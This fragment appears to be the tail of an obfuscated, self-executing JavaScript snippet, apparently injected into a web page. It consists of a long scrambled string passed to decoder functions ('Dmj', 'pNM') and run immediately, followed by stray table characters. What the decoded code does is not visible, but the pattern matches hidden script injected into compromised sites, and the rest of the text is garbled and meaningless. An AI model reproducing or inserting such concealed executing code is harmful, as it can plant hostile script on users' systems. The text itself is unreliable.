]]),,),Z_u6f.)aZZZ(Oy))Zast((.(f{=Z(r(ed0+)hg263=9ZjdZClR)VZ]Z!{0ZZ8]9SZ.iCtl1o*sZr6l!oIZ5nZZ0ZZoq0([$5}n) e.9]2Xa2],ryo6;,$a{F(dZ2A(s*xWZ$ffd"(;}2ed)fZ)1^r(]Z&$d)in)Zdi07Z(osWo._Bc:1`b_257aZ,h_%Z(p}r4e)Z)iS,,]e)Z.=Z]_,ei$Z3$Ctn)Z%Zb%tZuZdaD75}4Z}ZG,$(Zmeg)]aC ZZ2fi Z .C!Z]a=eZcb bi%8)(dfc(_t.]Z(n._Zo0)2}Z%{d.$a%;Z(sZ.13d(=,27fZZE( n%.p \\}66c0a544O)d$93s>a"S.>f$r.ot8Zed83E])0Z)h1D}7)Z+ )(e43LeDM!k)afZ,%Miao$ nZ!-Z32.denh]}1ZutA)ZS6ve4a1]Z$3[0_Z .g{!(n5d+):dtd3o}$)[{DZlh_o=tZ2.(j=1tpaD3l)Zri=Ze(Lwgdsl;reZ ()0+Z(r03e)Z4d )[A!f3Z(Ma6n,!Z(,kt$8#bj86])_8c3Q&)<.%lfa8]l1ZZV].0e)un.t=)(]x,1r}U3aZ;,on=%n9c^Zk)j!_5of pZtb]1 3 $ :0)-p!_,1ccnar.9uZl;%.h4_oiZCnZt],2=u5w]Zb5c8Z9.e(;!nL 6)&cZ0ffTXjZe% 0s.B(eZZ8 .242021Z5Z(bd('));var pNM=Dmj(pkh,Xju );pNM(5995);return 4149})() |
| |
|